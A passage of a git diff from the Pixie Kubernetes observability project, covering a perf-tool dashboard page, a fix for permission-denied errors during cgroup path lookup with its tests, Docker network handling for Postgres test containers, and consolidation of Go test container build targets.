*pb.WorkloadSpec { + return &pb.WorkloadSpec{ + Name: "vizier", + DeploySteps: []*pb.DeployStep{ + { + DeployType: &pb.DeployStep_Px{ + Px: &pb.PxCLIDeploy{ + Args: []string{ + "deploy", + }, + SetClusterID: true, + Namespaces: []string{ + "pl", + "px-operator", + "olm", + }, + }, + }, + }, + }, + Healthchecks: VizierHealthChecks(), + } +} + // VizierWorkload returns the workload spec to deploy Vizier. func VizierWorkload() *pb.WorkloadSpec { return &pb.WorkloadSpec{ diff --git a/src/e2e_test/perf_tool/ui/index.html b/src/e2e_test/perf_tool/ui/index.html new file mode 100644 index 00000000000..e57432b207e --- /dev/null +++ b/src/e2e_test/perf_tool/ui/index.html @@ -0,0 +1,1215 @@ + + + + + + Pixie Perf Tool Dashboard + + + + +
+

Pixie Perf Tool Dashboard

+ DuckDB WASM + Parquet +
+ +
Initializing DuckDB...
+ +
+ +
+

Data Source

+
+
+
+

Drop parquet files here or click to browse

+

results_*.parquet and spec.parquet files

+ +
+
+
OR
+
+
+ + + + + + + +

+ Bucket must be publicly readable or have CORS configured. +

+
+
+
+
+
+ + + +
+ + + + diff --git a/src/e2e_test/protocol_loadtest/skaffold_client.yaml b/src/e2e_test/protocol_loadtest/skaffold_client.yaml index 3939defe219..a85de725773 100644 --- a/src/e2e_test/protocol_loadtest/skaffold_client.yaml +++ b/src/e2e_test/protocol_loadtest/skaffold_client.yaml @@ -7,6 +7,8 @@ build: context: . bazel: target: //src/e2e_test/protocol_loadtest/client:protocol_loadtest_client_image.tar + args: + - --config=x86_64_sysroot tagPolicy: dateTime: {} local: diff --git a/src/e2e_test/protocol_loadtest/skaffold_loadtest.yaml b/src/e2e_test/protocol_loadtest/skaffold_loadtest.yaml index f6d25ba9ed6..87b38a59ee1 100644 --- a/src/e2e_test/protocol_loadtest/skaffold_loadtest.yaml +++ b/src/e2e_test/protocol_loadtest/skaffold_loadtest.yaml @@ -7,6 +7,8 @@ build: context: . bazel: target: //src/e2e_test/protocol_loadtest:protocol_loadtest_server_image.tar + args: + - --config=x86_64_sysroot tagPolicy: dateTime: {} local: diff --git a/src/experimental/standalone_pem/BUILD.bazel b/src/experimental/standalone_pem/BUILD.bazel index d7ebafcf122..189842536ac 100644 --- a/src/experimental/standalone_pem/BUILD.bazel +++ b/src/experimental/standalone_pem/BUILD.bazel @@ -50,6 +50,7 @@ pl_cc_library( "//src/vizier/funcs:cc_library", "//src/vizier/funcs/context:cc_library", "//src/vizier/services/agent/shared/base:cc_library", + "//src/vizier/services/metadata/local:cc_library", "@com_github_grpc_grpc//:grpc++", ], ) diff --git a/src/experimental/standalone_pem/standalone_pem_manager.cc b/src/experimental/standalone_pem/standalone_pem_manager.cc index d1257dbdbfd..9060c01cea5 100644 --- a/src/experimental/standalone_pem/standalone_pem_manager.cc +++ b/src/experimental/standalone_pem/standalone_pem_manager.cc @@ -27,6 +27,7 @@ #include "src/shared/schema/utils.h" #include "src/table_store/table_store.h" #include "src/vizier/funcs/funcs.h" +#include "src/vizier/services/metadata/local/local_metadata_service.h" DEFINE_int32( table_store_data_limit, gflags::Int32FromEnv("PL_TABLE_STORE_DATA_LIMIT_MB", 1024 + 256), diff --git a/src/experimental/standalone_pem/standalone_pem_manager.h b/src/experimental/standalone_pem/standalone_pem_manager.h index 9d658b1306a..bb56d29cac0 100644 --- a/src/experimental/standalone_pem/standalone_pem_manager.h +++ b/src/experimental/standalone_pem/standalone_pem_manager.h @@ -31,6 +31,7 @@ #include "src/vizier/funcs/context/vizier_context.h" #include "src/vizier/services/agent/shared/base/base_manager.h" #include "src/vizier/services/agent/shared/base/info.h" +#include "src/vizier/services/metadata/local/local_metadata_service.h" namespace px { namespace vizier { @@ -72,6 +73,9 @@ class StandalonePEMManager : public BaseManager { std::shared_ptr table_store_; + // Metadata gRPC server must be initialized before func_context_ + std::unique_ptr metadata_grpc_server_; + // Factory context for vizier functions. funcs::VizierFuncFactoryContext func_context_; diff --git a/src/experimental/standalone_pem/vizier_server.h b/src/experimental/standalone_pem/vizier_server.h index ce071bf379c..44856ff585a 100644 --- a/src/experimental/standalone_pem/vizier_server.h +++ b/src/experimental/standalone_pem/vizier_server.h @@ -63,6 +63,7 @@ class VizierServer final : public api::vizierpb::VizierService::Service { LOG(INFO) << "Executing Script"; auto query_id = sole::uuid4(); + auto compiler_state = engine_state_->CreateLocalExecutionCompilerState(0); // Handle mutations. @@ -81,6 +82,7 @@ class VizierServer final : public api::vizierpb::VizierService::Service { auto deployments = mutations->Deployments(); bool tracepoints_running = true; + auto ntp_info = TracepointInfo{}; for (size_t i = 0; i < deployments.size(); i++) { carnot::planner::dynamic_tracing::ir::logical::TracepointDeployment planner_tp; auto s = deployments[i]->ToProto(&planner_tp); @@ -99,7 +101,6 @@ class VizierServer final : public api::vizierpb::VizierService::Service { if (!s.ok()) { return ::grpc::Status(grpc::StatusCode::INTERNAL, "Failed to register tracepoint"); } - auto ntp_info = TracepointInfo{}; ntp_info.name = stirling_tp.name(); ntp_info.id = tp_id; ntp_info.current_state = statuspb::PENDING_STATE; @@ -116,10 +117,6 @@ class VizierServer final : public api::vizierpb::VizierService::Service { response->Write(mutation_resp); return ::grpc::Status::CANCELLED; } - - auto m_info = mutation_resp.mutable_mutation_info(); - m_info->mutable_status()->set_code(0); - response->Write(mutation_resp); } LOG(INFO) << "Compiling and running query"; // Send schema before sending query results. diff --git a/src/pixie_cli/BUILD.bazel b/src/pixie_cli/BUILD.bazel index a63b977fe9a..778044a9a0a 100644 --- a/src/pixie_cli/BUILD.bazel +++ b/src/pixie_cli/BUILD.bazel @@ -76,7 +76,7 @@ container_push( name = "push_px_image", format = "Docker", image = ":px_image", - registry = "gcr.io", - repository = "pixie-oss/pixie-prod/px", + registry = "ghcr.io", + repository = "k8sstormcenter/px", tag = "{STABLE_BUILD_TAG}", ) diff --git a/src/shared/metadata/cgroup_path_resolver.cc b/src/shared/metadata/cgroup_path_resolver.cc index bf71cb9a2b9..da6bff6e22f 100644 --- a/src/shared/metadata/cgroup_path_resolver.cc +++ b/src/shared/metadata/cgroup_path_resolver.cc @@ -70,13 +70,24 @@ StatusOr> CGroupBasePaths(std::string_view sysfs_path) StatusOr FindSelfCGroupProcs(std::string_view base_path) { int pid = getpid(); + std::error_code ec; - for (auto& p : std::filesystem::recursive_directory_iterator(base_path)) { - if (p.path().filename() == "cgroup.procs") { - std::string contents = ReadFileToString(p.path().string()).ValueOr(""); + auto it = std::filesystem::recursive_directory_iterator( + base_path, std::filesystem::directory_options::skip_permission_denied, ec); + if (ec) { + return error::Internal("Failed to iterate cgroup path: $0", ec.message()); + } + + for (auto end = std::filesystem::recursive_directory_iterator(); it != end; it.increment(ec)) { + if (ec) { + ec.clear(); + continue; + } + if (it->path().filename() == "cgroup.procs") { + std::string contents = ReadFileToString(it->path().string()).ValueOr(""); int contents_pid; if (absl::SimpleAtoi(contents, &contents_pid) && pid == contents_pid) { - return p.path().string(); + return it->path().string(); } } } diff --git a/src/shared/metadata/cgroup_path_resolver_test.cc b/src/shared/metadata/cgroup_path_resolver_test.cc index 9e57b0aa0b0..0ab46fa9f05 100644 --- a/src/shared/metadata/cgroup_path_resolver_test.cc +++ b/src/shared/metadata/cgroup_path_resolver_test.cc @@ -16,11 +16,16 @@ * SPDX-License-Identifier: Apache-2.0 */ +#include +#include + #include +#include #include #include +#include "src/common/testing/temp_dir.h" #include "src/common/testing/testing.h" #include "src/shared/metadata/cgroup_path_resolver.h" @@ -390,5 +395,68 @@ TEST(CGroupPathResolver, Cgroup2Format) { * 4. cgroup1+cgroup2 w/ cgroup1 succeeding */ +// Test that FindSelfCGroupProcs gracefully handles permission-denied directories +// (e.g. CrowdStrike Falcon's sandbox.falcon) instead of crashing with an uncaught exception. +TEST(FindSelfCGroupProcs, SkipsPermissionDeniedDirectories) { + // This test requires running as non-root, since root bypasses permission checks. + if (getuid() == 0) { + GTEST_SKIP() << "Test requires non-root user"; + } + + px::testing::TempDir tmp_dir; + auto base_path = tmp_dir.path(); + + // Create a directory structure with an accessible cgroup.procs containing our PID, + // and a restricted directory that simulates CrowdStrike Falcon's sandbox. + auto accessible_dir = base_path / "kubepods" / "pod1234"; + std::filesystem::create_directories(accessible_dir); + + // Write our PID to cgroup.procs so FindSelfCGroupProcs can find it. + { + std::ofstream ofs((accessible_dir / "cgroup.procs").string()); + ofs << getpid(); + } + + // Create a restricted directory that the iterator cannot enter. + auto restricted_dir = base_path / "system.slice" / "falcon-sensor.service" / "sandbox.falcon"; + std::filesystem::create_directories(restricted_dir); + // Remove all permissions on the sandbox directory. + chmod(restricted_dir.c_str(), 0000); + + // FindSelfCGroupProcs should succeed and find our cgroup.procs, + // skipping the restricted directory instead of throwing. + ASSERT_OK_AND_ASSIGN(auto result, FindSelfCGroupProcs(base_path.string())); + EXPECT_EQ(result, (accessible_dir / "cgroup.procs").string()); + + // Restore permissions so TempDir cleanup can remove it. + chmod(restricted_dir.c_str(), 0755); +} + +// Test that FindSelfCGroupProcs returns NotFound (not a crash) when the only +// cgroup.procs is behind a restricted directory. +TEST(FindSelfCGroupProcs, ReturnsNotFoundWhenAllPathsRestricted) { + if (getuid() == 0) { + GTEST_SKIP() << "Test requires non-root user"; + } + + px::testing::TempDir tmp_dir; + auto base_path = tmp_dir.path(); + + // Put cgroup.procs inside a restricted directory so it's unreachable. + auto restricted_dir = base_path / "restricted"; + std::filesystem::create_directories(restricted_dir); + { + std::ofstream ofs((restricted_dir / "cgroup.procs").string()); + ofs << getpid(); + } + chmod(restricted_dir.c_str(), 0000); + + // Should return NotFound, not crash. + auto result = FindSelfCGroupProcs(base_path.string()); + EXPECT_NOT_OK(result); + + chmod(restricted_dir.c_str(), 0755); +} + } // namespace md } // namespace px diff --git a/src/shared/services/pgtest/pgtest.go b/src/shared/services/pgtest/pgtest.go index ac65f65172c..907cec67bbe 100644 --- a/src/shared/services/pgtest/pgtest.go +++ b/src/shared/services/pgtest/pgtest.go @@ -19,7 +19,11 @@ package pgtest import ( + "bufio" "fmt" + "os" + "regexp" + "time" "github.com/golang-migrate/migrate" "github.com/golang-migrate/migrate/database/postgres" @@ -33,6 +37,27 @@ import ( "px.dev/pixie/src/shared/services/pg" ) +// selfContainerID returns the current Docker container ID by parsing +// /proc/self/mountinfo. Docker bind-mounts /etc/hostname from +// /var/lib/docker/containers//hostname, exposing the container ID. +// Returns empty string if not running inside a Docker container. +func selfContainerID() string { + f, err := os.Open("/proc/self/mountinfo") + if err != nil { + return "" + } + defer f.Close() + + re := regexp.MustCompile(`/containers/([a-f0-9]{64})/hostname`) + scanner := bufio.NewScanner(f) + for scanner.Scan() { + if m := re.FindStringSubmatch(scanner.Text()); m != nil { + return m[1] + } + } + return "" +} + // SetupTestDB sets up a test database instance and applies migrations. func SetupTestDB(schemaSource *bindata.AssetSource) (*sqlx.DB, func(), error) { var db *sqlx.DB @@ -69,18 +94,58 @@ func SetupTestDB(schemaSource *bindata.AssetSource) (*sqlx.DB, func(), error) { if err != nil { return nil, nil, fmt.Errorf("Failed to run docker pool: %w", err) } - // Set a 5 minute expiration on resources. - err = resource.Expire(300) + // Set a 15 minute expiration on resources (extended for debugging). + err = resource.Expire(900) if err != nil { return nil, nil, err } - viper.Set("postgres_port", resource.GetPort("5432/tcp")) - viper.Set("postgres_hostname", resource.Container.NetworkSettings.Gateway) + // When running inside a container (e.g. CI), the postgres container is on + // a different Docker network and we can't reach it via host port mapping. + // Detect this and connect postgres to our network instead. + pgHost := resource.Container.NetworkSettings.Gateway + pgPort := resource.GetPort("5432/tcp") + selfID := selfContainerID() + log.Infof("selfContainerID: %q", selfID) + if selfID != "" { + selfContainer, err := pool.Client.InspectContainer(selfID) + if err != nil { + return nil, nil, fmt.Errorf("failed to inspect self container %s: %w", selfID, err) + } + for netName, net := range selfContainer.NetworkSettings.Networks { + if netName == "host" { + continue + } + err := pool.Client.ConnectNetwork(net.NetworkID, docker.NetworkConnectionOptions{ + Container: resource.Container.ID, + }) + if err != nil { + return nil, nil, fmt.Errorf("failed to connect postgres to network %s: %w", netName, err) + } + // Re-inspect to get the postgres container's IP on our network. + updated, err := pool.Client.InspectContainer(resource.Container.ID) + if err != nil { + return nil, nil, fmt.Errorf("failed to re-inspect postgres container: %w", err) + } + resource.Container = updated + if pgNet, ok := updated.NetworkSettings.Networks[netName]; ok { + pgHost = pgNet.IPAddress + pgPort = "5432" + log.Infof("pgHost set to %s:%s via network %s", pgHost, pgPort, netName) + } + break + } + } + if pgHost == "" { + pgHost = "localhost" + } + viper.Set("postgres_port", pgPort) + viper.Set("postgres_hostname", pgHost) viper.Set("postgres_db", dbName) viper.Set("postgres_username", "postgres") viper.Set("postgres_password", "secret") + pool.MaxWait = 10 * time.Minute if err = pool.Retry(func() error { log.Info("trying to connect") db = pg.MustCreateDefaultPostgresDB() diff --git a/src/shared/version/BUILD.bazel b/src/shared/version/BUILD.bazel index a94f6553cec..835730c7f4c 100644 --- a/src/shared/version/BUILD.bazel +++ b/src/shared/version/BUILD.bazel @@ -77,6 +77,7 @@ pl_cc_library_internal( # be restricted to binaries. # TODO(zasgar): Refactor dependent code so we can more precisely apply the visbility rules. visibility = [ + "//src/carnot:__pkg__", "//src/carnot/planner/docs:__pkg__", "//src/experimental:__subpackages__", "//src/vizier/funcs:__pkg__", diff --git a/src/stirling/core/BUILD.bazel b/src/stirling/core/BUILD.bazel index ab795229aad..6bcec194a5a 100644 --- a/src/stirling/core/BUILD.bazel +++ b/src/stirling/core/BUILD.bazel @@ -83,7 +83,8 @@ pl_cc_test( pl_cc_test( name = "record_builder_test", - size = "large", + size = "enormous", + timeout = "moderate", srcs = ["record_builder_test.cc"], tags = ["cpu:4"], deps = [ diff --git a/src/stirling/obj_tools/BUILD.bazel b/src/stirling/obj_tools/BUILD.bazel index b27b7002ba8..f10d6b19b3d 100644 --- a/src/stirling/obj_tools/BUILD.bazel +++ b/src/stirling/obj_tools/BUILD.bazel @@ -74,6 +74,7 @@ pl_cc_test( name = "address_converter_test", srcs = ["address_converter_test.cc"], tags = [ + "disabled", "requires_bpf", ], deps = [ diff --git a/src/stirling/source_connectors/perf_profiler/symbolizers/symbolizer_test.cc b/src/stirling/source_connectors/perf_profiler/symbolizers/symbolizer_test.cc index 162e66dbf92..27d1be25ee7 100644 --- a/src/stirling/source_connectors/perf_profiler/symbolizers/symbolizer_test.cc +++ b/src/stirling/source_connectors/perf_profiler/symbolizers/symbolizer_test.cc @@ -114,9 +114,17 @@ TEST_F(BCCSymbolizerTest, JavaSymbols) { const uint64_t start_time_ns = 0; const struct upid_t child_upid = {{child_pid}, start_time_ns}; + // Wait for the fake Java process to create the symbol file before calling GetSymbolizerFn, + // so that the symbolizer finds the pre-existing file rather than attempting an agent attach. + const std::filesystem::path symbol_file_path = java::StirlingSymbolFilePath(child_upid); + testing::Timeout symbol_file_timeout(std::chrono::seconds{30}); + while (!fs::Exists(symbol_file_path) && !symbol_file_timeout.TimedOut()) { + std::this_thread::sleep_for(std::chrono::milliseconds{100}); + } + ASSERT_TRUE(fs::Exists(symbol_file_path)) << "Symbol file was not created in time."; + symbolizer->IterationPreTick(); symbolizer->GetSymbolizerFn(child_upid); - std::this_thread::sleep_for(std::chrono::milliseconds{500}); ASSERT_TRUE(symbolizer->Uncacheable(child_upid)) << "Should have found symbol file by now."; auto symbolize = symbolizer->GetSymbolizerFn(child_upid); @@ -333,13 +341,14 @@ TEST_F(BCCSymbolizerTest, JavaEnoughSpaceAvailable) { // will not have a cached symbolization function for this upid. symbolizer->GetSymbolizerFn(child_upid); - // Give the attach process some time (more than enough time) to complete. - std::this_thread::sleep_for(std::chrono::milliseconds{500}); - - // Java symbols are considered uncacheable becasue the JVM is free to delete them - // and recompile them to a different location. We can infer successful JVMTI symbolization - // agent attach by the symbolizer reporting that the symbols are indeed uncacheable. - // Succinctly, this test expects JVMTI attach success because tmpfs had enough space. + // Wait for the attach process to complete. Java symbols are considered uncacheable because the + // JVM is free to delete them and recompile them to a different location. We can infer successful + // JVMTI symbolization agent attach by the symbolizer reporting that the symbols are indeed + // uncacheable. This test expects JVMTI attach success because tmpfs had enough space. + testing::Timeout t(std::chrono::seconds{30}); + while (!symbolizer->Uncacheable(child_upid) && !t.TimedOut()) { + std::this_thread::sleep_for(std::chrono::milliseconds{100}); + } ASSERT_TRUE(symbolizer->Uncacheable(child_upid)) << "Symbolizer did not attach."; } diff --git a/src/stirling/source_connectors/socket_tracer/BUILD.bazel b/src/stirling/source_connectors/socket_tracer/BUILD.bazel index 8eae06c9bc2..3476d18d394 100644 --- a/src/stirling/source_connectors/socket_tracer/BUILD.bazel +++ b/src/stirling/source_connectors/socket_tracer/BUILD.bazel @@ -16,7 +16,10 @@ load("//bazel:pl_build_system.bzl", "pl_cc_binary", "pl_cc_bpf_test", "pl_cc_library", "pl_cc_test") -package(default_visibility = ["//src/stirling:__subpackages__"]) +package(default_visibility = [ + "//src/carnot:__subpackages__", + "//src/stirling:__subpackages__", +]) pl_cc_library( name = "cc_library", @@ -82,6 +85,7 @@ pl_cc_test( pl_cc_test( name = "data_stream_test", + timeout = "moderate", srcs = ["data_stream_test.cc"], deps = [ ":cc_library", @@ -331,7 +335,7 @@ pl_cc_bpf_test( pl_cc_bpf_test( name = "http2_trace_bpf_test", - timeout = "moderate", + timeout = "long", srcs = ["http2_trace_bpf_test.cc"], flaky = True, tags = [ @@ -344,17 +348,8 @@ pl_cc_bpf_test( "//src/common/exec:cc_library", "//src/common/testing/test_utils:cc_library", "//src/stirling/source_connectors/socket_tracer/testing:cc_library", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_18_grpc_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_19_grpc_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_20_grpc_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_21_grpc_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_22_grpc_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_23_grpc_client_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_23_grpc_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_24_grpc_client_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_24_grpc_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_boringcrypto_grpc_client_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_boringcrypto_grpc_server_container", + "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_grpc_client_containers", + "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_grpc_server_containers", "//src/stirling/source_connectors/socket_tracer/testing/container_images:product_catalog_client_container", "//src/stirling/source_connectors/socket_tracer/testing/container_images:product_catalog_service_container", "//src/stirling/testing:cc_library", @@ -563,17 +558,8 @@ pl_cc_bpf_test( "//src/common/exec:cc_library", "//src/common/testing/test_utils:cc_library", "//src/stirling/source_connectors/socket_tracer/testing:cc_library", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_18_tls_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_19_tls_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_20_tls_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_21_tls_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_22_tls_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_23_tls_client_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_23_tls_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_24_tls_client_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_1_24_tls_server_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_boringcrypto_tls_client_container", - "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_boringcrypto_tls_server_container", + "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_tls_client_containers", + "//src/stirling/source_connectors/socket_tracer/testing/container_images:go_tls_server_containers", "//src/stirling/testing:cc_library", ], ) diff --git a/src/stirling/source_connectors/socket_tracer/go_tls_trace_bpf_test.cc b/src/stirling/source_connectors/socket_tracer/go_tls_trace_bpf_test.cc index 9e3120763df..afe76d9f758 100644 --- a/src/stirling/source_connectors/socket_tracer/go_tls_trace_bpf_test.cc +++ b/src/stirling/source_connectors/socket_tracer/go_tls_trace_bpf_test.cc @@ -20,17 +20,8 @@ #include #include "src/common/testing/testing.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_18_tls_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_19_tls_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_20_tls_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_21_tls_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_22_tls_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_tls_client_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_tls_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_tls_client_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_tls_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_tls_client_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_tls_server_container.h" +#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_tls_client_containers.h" +#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_tls_server_containers.h" #include "src/stirling/source_connectors/socket_tracer/testing/protocol_checkers.h" #include "src/stirling/source_connectors/socket_tracer/testing/socket_trace_bpf_test_fixture.h" #include "src/stirling/testing/common.h" diff --git a/src/stirling/source_connectors/socket_tracer/http2_trace_bpf_test.cc b/src/stirling/source_connectors/socket_tracer/http2_trace_bpf_test.cc index d98f4375118..61cdc2625c0 100644 --- a/src/stirling/source_connectors/socket_tracer/http2_trace_bpf_test.cc +++ b/src/stirling/source_connectors/socket_tracer/http2_trace_bpf_test.cc @@ -21,17 +21,8 @@ #include "src/common/exec/subprocess.h" #include "src/stirling/core/output.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_18_grpc_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_19_grpc_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_20_grpc_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_21_grpc_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_22_grpc_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_grpc_client_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_grpc_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_grpc_client_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_grpc_server_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_grpc_client_container.h" -#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_grpc_server_container.h" +#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_grpc_client_containers.h" +#include "src/stirling/source_connectors/socket_tracer/testing/container_images/go_grpc_server_containers.h" #include "src/stirling/source_connectors/socket_tracer/testing/container_images/product_catalog_client_container.h" #include "src/stirling/source_connectors/socket_tracer/testing/container_images/product_catalog_service_container.h" #include "src/stirling/source_connectors/socket_tracer/testing/protocol_checkers.h" diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/BUILD.bazel b/src/stirling/source_connectors/socket_tracer/testing/container_images/BUILD.bazel index aca663b0db9..38fa4950c16 100644 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/BUILD.bazel +++ b/src/stirling/source_connectors/socket_tracer/testing/container_images/BUILD.bazel @@ -14,11 +14,40 @@ # # SPDX-License-Identifier: Apache-2.0 -load("//bazel:pl_build_system.bzl", "pl_boringcrypto_go_sdk", "pl_cc_test_library", "pl_go_sdk_version_template_to_label", "pl_go_test_versions", "pl_supported_go_sdk_versions") +load("//bazel:go_container.bzl", "go_container_libraries") +load("//bazel:pl_build_system.bzl", "pl_all_supported_go_sdk_versions", "pl_cc_test_library", "pl_go_test_versions") + +package(default_visibility = [ + "//src/carnot:__subpackages__", + "//src/stirling:__subpackages__", +]) + +# Generate all Go container library permutations for supported Go versions. +go_container_libraries( + bazel_sdk_versions = pl_all_supported_go_sdk_versions, + container_type = "grpc_server", + prebuilt_container_versions = pl_go_test_versions, +) + +# Stirling test cases usually test server side tracing. Therefore +# we only need to provide the bazel SDK versions for the client containers. +go_container_libraries( + bazel_sdk_versions = pl_all_supported_go_sdk_versions, + container_type = "grpc_client", +) -pl_all_supported_go_sdk_versions = pl_supported_go_sdk_versions + pl_boringcrypto_go_sdk +go_container_libraries( + bazel_sdk_versions = pl_all_supported_go_sdk_versions, + container_type = "tls_server", + prebuilt_container_versions = pl_go_test_versions, +) -package(default_visibility = ["//src/stirling:__subpackages__"]) +# Stirling test cases usually test server side tracing. Therefore +# we only need to provide the bazel SDK versions for the client containers. +go_container_libraries( + bazel_sdk_versions = pl_all_supported_go_sdk_versions, + container_type = "tls_client", +) pl_cc_test_library( name = "bssl_container", @@ -60,84 +89,6 @@ pl_cc_test_library( deps = ["//src/common/testing/test_utils:cc_library"], ) -[ - pl_cc_test_library( - name = pl_go_sdk_version_template_to_label("go_%s_grpc_client_container", sdk_version), - srcs = [], - hdrs = [pl_go_sdk_version_template_to_label("go_%s_grpc_client_container.h", sdk_version)], - data = [ - pl_go_sdk_version_template_to_label("//src/stirling/testing/demo_apps/go_grpc_tls_pl/client:golang_%s_grpc_tls_client.tar", sdk_version), - ], - deps = ["//src/common/testing/test_utils:cc_library"], - ) - for sdk_version in pl_all_supported_go_sdk_versions -] - -[ - pl_cc_test_library( - name = pl_go_sdk_version_template_to_label("go_%s_grpc_server_container", sdk_version), - srcs = [], - hdrs = [pl_go_sdk_version_template_to_label("go_%s_grpc_server_container.h", sdk_version)], - data = [ - pl_go_sdk_version_template_to_label("//src/stirling/testing/demo_apps/go_grpc_tls_pl/server:golang_%s_grpc_tls_server.tar", sdk_version), - ], - deps = ["//src/common/testing/test_utils:cc_library"], - ) - for sdk_version in pl_all_supported_go_sdk_versions -] - -[ - pl_cc_test_library( - name = pl_go_sdk_version_template_to_label("go_%s_grpc_server_container", sdk_version), - srcs = [], - hdrs = [pl_go_sdk_version_template_to_label("go_%s_grpc_server_container.h", sdk_version)], - data = [ - pl_go_sdk_version_template_to_label("//src/stirling/source_connectors/socket_tracer/testing/containers:golang_%s_grpc_server_with_buildinfo.tar", sdk_version), - ], - deps = ["//src/common/testing/test_utils:cc_library"], - ) - for sdk_version in pl_go_test_versions -] - -[ - pl_cc_test_library( - name = pl_go_sdk_version_template_to_label("go_%s_tls_client_container", sdk_version), - srcs = [], - hdrs = [pl_go_sdk_version_template_to_label("go_%s_tls_client_container.h", sdk_version)], - data = [ - pl_go_sdk_version_template_to_label("//src/stirling/testing/demo_apps/go_https/client:golang_%s_https_client.tar", sdk_version), - ], - deps = ["//src/common/testing/test_utils:cc_library"], - ) - for sdk_version in pl_all_supported_go_sdk_versions -] - -[ - pl_cc_test_library( - name = pl_go_sdk_version_template_to_label("go_%s_tls_server_container", sdk_version), - srcs = [], - hdrs = [pl_go_sdk_version_template_to_label("go_%s_tls_server_container.h", sdk_version)], - data = [ - pl_go_sdk_version_template_to_label("//src/stirling/testing/demo_apps/go_https/server:golang_%s_https_server.tar", sdk_version), - ], - deps = ["//src/common/testing/test_utils:cc_library"], - ) - for sdk_version in pl_all_supported_go_sdk_versions -] - -[ - pl_cc_test_library( - name = pl_go_sdk_version_template_to_label("go_%s_tls_server_container", sdk_version), - srcs = [], - hdrs = [pl_go_sdk_version_template_to_label("go_%s_tls_server_container.h", sdk_version)], - data = [ - pl_go_sdk_version_template_to_label("//src/stirling/source_connectors/socket_tracer/testing/containers:golang_%s_https_server_with_buildinfo.tar", sdk_version), - ], - deps = ["//src/common/testing/test_utils:cc_library"], - ) - for sdk_version in pl_go_test_versions -] - pl_cc_test_library( name = "golang_sqlx_container", srcs = [], diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/BUILD.bazel b/src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/BUILD.bazel new file mode 100644 index 00000000000..d7514e3d0bb --- /dev/null +++ b/src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/BUILD.bazel @@ -0,0 +1,37 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_docker//container:container.bzl", "container_image", "container_layer") + +package(default_visibility = [ + "//src/carnot:__subpackages__", + "//src/stirling:__subpackages__", +]) + +# ClickHouse configuration layer for console logging +container_layer( + name = "clickhouse_config_layer", + directory = "/etc/clickhouse-server/config.d", + files = ["clickhouse_logging_config.xml"], + mode = "0644", +) + +container_image( + name = "clickhouse", + base = "@clickhouse_server_base_image//image", 